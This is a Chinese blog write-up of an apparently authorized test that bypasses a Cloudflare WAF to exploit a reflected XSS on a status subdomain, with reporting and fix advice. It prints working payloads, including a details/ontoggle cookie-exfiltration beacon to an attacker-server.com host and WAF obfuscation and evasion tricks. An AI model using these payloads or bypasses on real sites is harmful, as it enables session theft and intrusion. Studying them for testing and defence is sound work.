实战绕过Cloudflare WAF:反射型XSS漏洞挖掘与利用全解析
2026/7/4 15:03:42 网站建设 项目流程

1. 项目概述:一次与WAF的“捉迷藏”

搞安全测试的朋友都知道,现在想找到一个“裸奔”的网站太难了,尤其是那些有点规模的,基本都套上了Cloudflare这样的全球性WAF(Web应用防火墙)。它就像一道智能化的城墙,能拦截掉大部分自动化扫描和常见的攻击载荷。所以,当我在一次针对某个RDP(远程桌面协议)相关项目的授权测试中,发现其子域名部署在Cloudflare后面时,既觉得是挑战,又有点兴奋。挑战在于,常规的XSS Payload一打过去就被秒拦;兴奋在于,如果能绕过去,那这个漏洞的价值和挖掘过程的含金量就完全不一样了。今天要分享的,就是这次“猫鼠游戏”的全过程,核心是如何在一个看似被严密防护的反射型XSS注入点上,通过多轮技巧组合,最终让浏览器成功执行了我的脚本。整个过程不涉及任何对Cloudflare服务本身的攻击,纯粹是应用层逻辑的对抗。

反射型XSS,简单说就是攻击者构造一个含有恶意脚本的链接,用户点击后,服务器会“反射”回这个脚本并在用户的浏览器里执行。它的重点,绝对不仅仅是“找注入点”。找到一个参数能回显内容,这只是万里长征第一步,甚至可以说是最简单的一步。真正的难点在于:你找到的注入点,输出上下文是什么?是HTML标签内、属性里、JavaScript字符串中,还是纯文本区域?输出内容有没有被过滤、编码、截断?最关键的是,目标有没有部署WAF,比如Cloudflare?它的规则集是怎样的?你的Payload如何既能逃过WAF的检测,又能在特定的浏览器上下文中被成功解析执行?这一连串的问题,才是反射型XSS漏洞挖掘的核心。这次经历就是一个完美的案例,展示了从发现可疑点,到分析上下文,再到设计、测试、迭代绕过Payload的完整思路。

2. 漏洞挖掘的整体思路与侦察阶段

我的目标是一个与远程桌面管理相关的Web应用。在信息收集阶段,我发现其主站防护非常严密,但通过子域名枚举,找到了一个status.xxx.com的子域。这个子域看起来像是一个内部状态监控或仪表盘页面,通常这类页面交互逻辑相对简单,但可能包含一些动态内容显示功能,是很好的测试目标。

2.1 初探与注入点发现

首先是对该子域进行常规的目录和参数扫描。我用了ffuf配合一个较大的参数字典,很快发现了一个有趣的端点:/api/v1/check_status。通过Burp Suite抓包观察,这个端点接收一个report_id的GET参数,然后返回一段包含该ID相关状态的HTML片段。

最初的测试非常基础,我提交了report_id=test,页面返回“正在查询报告:test的状态...”。这说明参数值被直接回显到了HTML页面中。紧接着,我尝试了经典的XSS测试字符:report_id=<test>。页面返回变成了“正在查询报告: 的状态...”。尖括号被原样显示,这意味着它们可能被HTML实体编码了(查看网页源代码确认是<test>),或者被某种过滤处理了。但这并不一定是坏事,它说明了服务器对输入做了处理,我需要知道处理规则。

为了探测过滤规则,我尝试了更复杂的Payload:report_id=test“onmouseover=alert(1)。如果输出在属性里,这个可能会生效。但请求发出后,页面没有正常返回,而是收到了一个Cloudflare的拦截页面,提示“安全检查中...”。WAF出手了。这是一个关键信号:第一,注入点存在(参数值被回显);第二,Cloudflare WAF正在监控请求,并对疑似攻击的载荷进行阻断。

2.2 分析输出上下文与WAF策略

被WAF拦截后,我的工作分成了两条并行的线:一是精确分析参数值在页面中的输出位置(上下文),二是试探Cloudflare WAF的规则宽松程度。

上下文分析:我提交了一个无害但独特的字符串report_id=CON-TEXT-TEST-123,然后仔细查看返回页面的完整HTML源码。通过搜索,我发现我的输入出现在如下位置:

<div class=\"status-container\"> <h2>查询状态: <span id=\"display-id\">CON-TEXT-TEST-123</span></h2> <div class=\"details\">...</div> </div>

太棒了!这是一个非常理想的上下文。我的输入被直接放在了<span>标签的正文内容(即开标签<span>和闭标签</span>之间)。这意味着我注入的代码会直接出现在HTML的body部分,只要我能闭合前面的<span>标签,就能引入新的HTML标签或属性。

WAF策略试探:Cloudflare的WAF不是铁板一块,它有不同级别的安全规则。我需要知道它到底对哪些模式敏感。我开始了低强度的模糊测试:

  1. 尝试纯脚本标签:<script>。 --> 被阻断。
  2. 尝试事件处理器:"onload=。 --> 被阻断。
  3. 尝试javascript:协议:javascript:alert(1)。 --> 被阻断。
  4. 尝试大小写混淆:<ScRiPt>。 --> 被阻断。(Cloudflare通常大小写不敏感)
  5. 尝试插入无关字符:<scr<script>ipt>。 --> 被阻断。(WAF会做规范化处理)

几乎所有明显的XSS向量都被瞬间拦截。但这反而让我更有信心了,因为WAF的严格拦截恰恰说明后端服务器可能没有做额外的、更深入的过滤,安全完全依赖WAF。我的目标就从“绕过后端过滤”变成了“绕过Cloudflare WAF的规则匹配”。

注意:这个阶段一定要使用低频率、手工测试,避免触发Cloudflare的速率限制或更严格的挑战(如5秒盾)。每个测试之间间隔几秒钟,并且最好能切换一下IP或使用Burp的Repeater模块配合手动发送。

3. 绕过Cloudflare WAF的核心技巧解析

直接对抗WAF的正则表达式规则是低效的。我的思路是利用HTML、JavaScript语法以及浏览器解析的“宽容性”,构造一些对人类(WAF规则)来说不像攻击,但对浏览器来说却是有效代码的Payload。以下是几个关键方向的尝试和原理。

3.1 利用未过滤的HTML标签与属性

既然<script><img><svg>这些高危标签被盯得很死,我就转向一些更“冷门”或功能性的标签。我尝试了<details><iframe><audio>等,发现<iframe><audio>也会被拦截,但<details>标签似乎没有被重点关照。

我构造了Payload:</span><details open ontoggle=alert(1)>。这里做了几件事:

  1. </span>:首先闭合掉包裹我输入的<span>标签,这样后续内容就不会被约束在span内。
  2. <details open>:插入一个<details>标签,并设置open属性使其默认展开。这个标签本身是合法的HTML5标签。
  3. ontoggle=alert(1):为<details>标签添加ontoggle事件处理器。当details元素的展开状态改变时(因为设置了open,页面加载时就会触发一次状态改变),会执行alert(1)

我将这个Payload发送出去,心跳加速地等待。结果页面正常返回,没有Cloudflare拦截!我赶紧查看页面源码,发现它被完整地嵌入了:

<span id=\"display-id\"></span><details open ontoggle=alert(1)></span>

(注意:页面原始闭标签</span>还在,但这不影响,因为浏览器会尽力纠正HTML结构,它看到我们提前闭合了span,会把最后的</span>当作一个无效标签处理)。

然而,浏览器并没有弹窗。我检查了控制台,发现错误:alert is not defined。原来这个页面处于一个严格的CSP(内容安全策略)或沙盒环境中,alert函数被禁用了。这是一个新的障碍,但我首先感到高兴的是,WAF被绕过了!我的HTML标签和事件处理器成功注入到了页面中。

3.2 处理被禁用的标准函数与CSP

alertconfirmprompt这些函数经常在测试环境或某些CSP下被禁用。我需要一个更通用的证明漏洞存在的方法。通常有两种思路:

  1. 使用未被禁用的函数:比如console.log,但它在用户端不可见(除非打开控制台)。更好的选择是触发一个视觉变化,例如修改页面标题(document.title)、改变某个元素的样式(element.style.background='red'),或者使用print()函数(如果可用)。
  2. 发起一个外部网络请求:这是证明漏洞危害性的更强有力的证据。可以尝试使用fetchXMLHttpRequest,或者更古老的Image对象来向一个我控制的服务器发起请求,从而带出用户Cookie或会话信息。

我决定采用第二种,因为它能证明漏洞可能导致数据泄露。我构造了新的Payload:</span><details open ontoggle=\"var i=new Image();i.src='http://my-server.com/steal?c='+encodeURIComponent(document.cookie);\">

这里,ontoggle事件触发时,会创建一个Image对象,并将其src属性指向我搭建的带有查询参数的URL。document.cookie会被附加到URL中,发送到我的服务器。即使页面有CSP限制script-src,对于通过img标签发起的请求(Image对象模拟的也是图片请求)限制可能不同,有机会成功。

再次发送,依然没有触发WAF!我刷新页面,立刻查看我的服务器日志。激动人心的时刻到了——日志里出现了一条来自目标用户的访问记录,虽然cookie字段可能是空的(HttpOnly或路径限制),但至少证明了我的JavaScript代码成功执行了。反射型XSS漏洞被确认,并且成功绕过了Cloudflare WAF。

3.3 高级混淆与多重编码技巧

上面的Payload已经成功了,但为了应对可能更严格的WAF规则或后续修复,安全研究者通常会准备一些备选绕过方案。这里分享几种进阶思路:

1. 利用JavaScript Unicode转义:浏览器能解析Unicode转义后的字符串。例如,alert(1)可以写成\u0061\u006c\u0065\u0072\u0074(1)。你可以将整个事件处理器里的代码都进行转义。WAF的规则可能不会深度解码Unicode后再匹配。ontoggle=\"\u0063\u006f\u006e\u0073\u006f\u006c\u0065.\u006c\u006f\u0067(1)\"

2. 利用HTML实体编码与双重编码:Cloudflare可能会解码一次HTML实体,但不会解码两次。假设后端在回显前做了HTML实体编码,但WAF检查的是解码前的数据?我们可以尝试混淆。

  • 原始Payload:<details ontoggle=alert(1)>
  • 进行一次HTML实体编码:&lt;details ontoggle=alert(1)&gt;
  • alert再进行一次编码(仅编码部分):&lt;details ontoggle=&amp;#97;lert(1)&gt;这种部分、多重编码的组合,有时能扰乱WAF的解析逻辑。

3. 利用标签属性本身的特性:

  • 换行和Tab:在HTML中,标签属性值可以用换行符或Tab隔开。<details ontoggle=alert(1)>可以写成:
    <details ontoggle = alert(1) >
    这看起来很奇怪,但浏览器能理解。WAF的规则可能是一行行匹配正则,这种换行可能绕过某些简单的行内匹配。
  • 多余的空格和无效属性:插入一些无意义的属性或多余的空格,如<details x=\"y\" ontoggle=alert(1) z=\"a\">。目的是破坏WAF规则中固定的字符串模式。

4. 研究特定标签的冷门事件:除了ontoggle<details>标签还有onclick(但需要点击)。其他标签如<body>onhashchange<input>onfocus<marquee>onstart等,都是可能被忽略的向量。

实操心得:绕过WAF是一个持续对抗的过程。没有一劳永逸的Payload。最好的方法是建立一个自己的测试库,包含各种标签、事件、编码方式的组合。在测试时,采用“增量测试”法:先注入一个无害的标签看是否过滤,再添加一个简单的事件看是否拦截,最后替换事件内容为攻击载荷。同时,密切观察WAF的响应,如果某个Payload从拦截变为放行,那可能就是突破口。

4. 完整的漏洞利用链与PoC构造

确认漏洞存在并找到稳定的绕过方法后,下一步就是构造一个完整的、可复现的漏洞证明(PoC),并思考其潜在的影响。

4.1 最终的有效Payload

结合上下文分析和WAF绕过技巧,我最终稳定利用的Payload如下:

/api/v1/check_status?report_id=%3C%2Fspan%3E%3Cdetails%20open%20ontoggle%3D%22var%20i%3Dnew%20Image%28%29%3Bi.src%3D%27https%3A%2F%2Fattacker-server.com%2Flog%3Fdata%3D%27%2BencodeURIComponent%28document.cookie%29%3B%22%3E

URL解码后是:

/api/v1/check_status?report_id=</span><details open ontoggle="var i=new Image();i.src='https://attacker-server.com/log?data='+encodeURIComponent(document.cookie);">

工作原理拆解:

  1. </span>:闭合原生的<span>标签,摆脱束缚。
  2. <details open ontoggle=...>:插入一个带有open属性的details元素,确保页面加载即触发ontoggle事件。
  3. 事件处理器中的JavaScript会创建一个Image对象,并将其src设置为攻击者的服务器地址,同时将当前页面的document.cookie作为参数附加。一旦触发,就会向攻击者服务器发送一个HTTP GET请求,泄露Cookie。

4.2 漏洞影响范围评估

这个反射型XSS漏洞的影响需要结合具体场景评估:

  1. 直接危害:攻击者可以构造恶意链接,通过钓鱼邮件、社交工程等方式诱骗已登录的用户点击。用户点击后,其在该子域名下的会话Cookie可能被窃取,导致账户被劫持。
  2. 利用限制
    • 需要交互:属于反射型XSS,必须让用户点击链接。
    • CSP限制:如果目标站点配置了强有力的CSP(如script-src 'self'),那么我上面的Image外带请求也可能被阻止。但在本次测试中,CSP似乎并未严格限制img-src,所以成功了。在实际漏洞报告中,需要测试不同浏览器的CSP遵从情况。
    • Cookie属性:如果Cookie设置了HttpOnly属性,那么通过document.cookie是无法读取的,这会大大降低漏洞危害。但攻击者依然可以执行其他操作,如模拟用户操作、窃取页面内容、进行客户端钓鱼等。
  3. 漏洞位置:位于/api/v1/check_status接口。这个接口看起来是用于内部状态查询,可能权限不高,但往往也意味着过滤和审计可能不如主业务接口严格,更容易成为突破口。

4.3 漏洞报告要点

在向SRC(安全应急响应中心)或企业提交漏洞报告时,不能只丢一个Payload。一个高质量的报告应包括:

  1. 清晰的重现步骤:从访问哪个URL开始,每一步操作是什么,预期看到什么结果。
  2. 完整的HTTP请求/响应:提供Burp Suite截取的原始请求和响应数据,特别是包含Payload的请求和服务器返回的HTML源码。
  3. 漏洞原理分析:简要说明参数如何被不安全地回显,以及WAF是如何被绕过的。
  4. 影响证明:提供截图或视频,证明恶意代码确实执行了(例如,外带服务器收到请求的日志截图)。
  5. 修复建议:提供治标和治本的建议。例如:
    • 治标(紧急):在Cloudflare WAF规则中,针对该特定路径或参数添加更严格的过滤规则(但这不是根本办法)。
    • 治本:在后端代码中对report_id参数进行严格的输出编码。根据其输出上下文(HTML标签内容),应采用HTML实体编码(如将<转为&lt;>转为&gt;&转为&amp;"转为&quot;等)。推荐使用安全的编程语言库函数来完成,而不是手动替换。

5. 漏洞挖掘中的常见陷阱与排查实录

在这次挖掘和日常工作中,我积累了一些容易踩坑的地方和排查技巧,这里分享给大家。

5.1 为什么Payload没弹窗?——系统性排查清单

当你觉得Payload应该生效却没效果时,别急着放弃,按这个清单排查:

排查步骤可能原因检查方法
1. 查看页面源代码Payload被过滤、编码、截断在浏览器中右键“查看页面源代码”,搜索你注入的字符串,看它是否完整、原样地出现在HTML中。
2. 检查浏览器控制台JavaScript语法错误、函数未定义、CSP违规打开开发者工具(F12)的Console面板,查看是否有红色错误信息。常见错误如“Uncaught ReferenceError: alert is not defined”或“Refused to execute inline script because of CSP”。
3. 确认事件是否触发事件触发条件未满足对于onmouseover需要鼠标悬停,onclick需要点击。使用onloadonerror(针对img等)、ontoggle(配合open)等可自动触发的事件更可靠。
4. 模拟用户交互Payload在动态加载的内容中如果内容是通过Ajax异步加载的,事件绑定可能失效。尝试在控制台手动执行你的JS代码,看是否能运行。
5. 检查网络请求外带请求被阻止如果使用Imagefetch外带数据,打开Network面板,查看请求是否真的发出去了,是否被浏览器策略(如CSP)阻止。
6. 尝试简化PayloadPayload过于复杂导致解析问题先用一个最简单的<img src=x onerror=console.log(1)>测试,确认基础执行环境。再逐步添加你的复杂逻辑。
7. 更换浏览器/环境浏览器XSS过滤器拦截某些浏览器(如旧版IE、Chrome的XSS Auditor)会拦截部分反射型XSS。尝试在无痕模式或不同浏览器下测试。

5.2 对抗WAF时的注意事项

  1. 速率限制:Cloudflare等WAF对高频请求非常敏感。在Repeater中疯狂重放测试Payload,很容易触发速率限制甚至IP临时封禁。务必手动控制发送间隔,或者使用Burp的Intruder模块设置延迟。
  2. 规则学习:有些WAF具备学习模式。如果你持续攻击,它可能会动态调整规则,将你的IP或会话标记为恶意,导致后续所有请求都被挑战。建议在测试期间清理Cookie或使用不同的会话。
  3. 关注响应头:仔细查看HTTP响应头。Server: cloudflare表明流量经过Cloudflare。CF-RAY头是Cloudflare的唯一标识。有时,WAF拦截和放行的响应头会有细微差别。
  4. 不要只测一个点:如果一个参数被防得死死的,试试同个页面的其他参数,或者不同功能的页面。WAF的规则可能是基于路径或参数名配置的,可能存在薄弱点。

5.3 从“找注入点”到“利用漏洞”的思维转变

很多新手挖XSS,找到一个回显点,丢几个通用Payload,没弹窗就放弃了。这是远远不够的。真正的挖掘是:

  • 上下文意识:你的输入出现在哪里?是<div>你的输入</div>,还是<input value="你的输入">,或是<script>var id = '你的输入';</script>?每种上下文需要的Payload构造方式天差地别。
  • 过滤绕过:没弹窗不代表安全。看看回显的内容,<>是不是变成了&lt;&gt;"是不是变成了&quot;?有没有被删除?有没有被限制长度?分析过滤规则,思考如何用其他方式(如不用尖括号的事件处理器、JavaScript URI、CSS表达式等)达成目的。
  • WAF绕过:这是当前挖洞的常态。把它当作一个有趣的解谜游戏。了解常见的WAF绕过技巧(编码、混淆、冷门标签/事件、语法变异),并组合使用。

这次绕过Cloudflare的反射型XSS挖掘,完整地走完了从信息收集、注入点发现、上下文分析、WAF对抗、Payload构造到影响评估的全过程。核心收获是:面对现代WAF,漏洞挖掘不再是简单的“扫描-发现-利用”,而是一场需要耐心、创造力和对Web技术深刻理解的“博弈”。最重要的不是记住某一个Payload,而是掌握那种层层递进、见招拆招的分析和解决问题思路。下次当你看到一个被Cloudflare保护的站点时,希望你能想起这篇文章,然后带着更敏锐的眼光和更充足的技巧,开始你的“捉迷藏”之旅。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询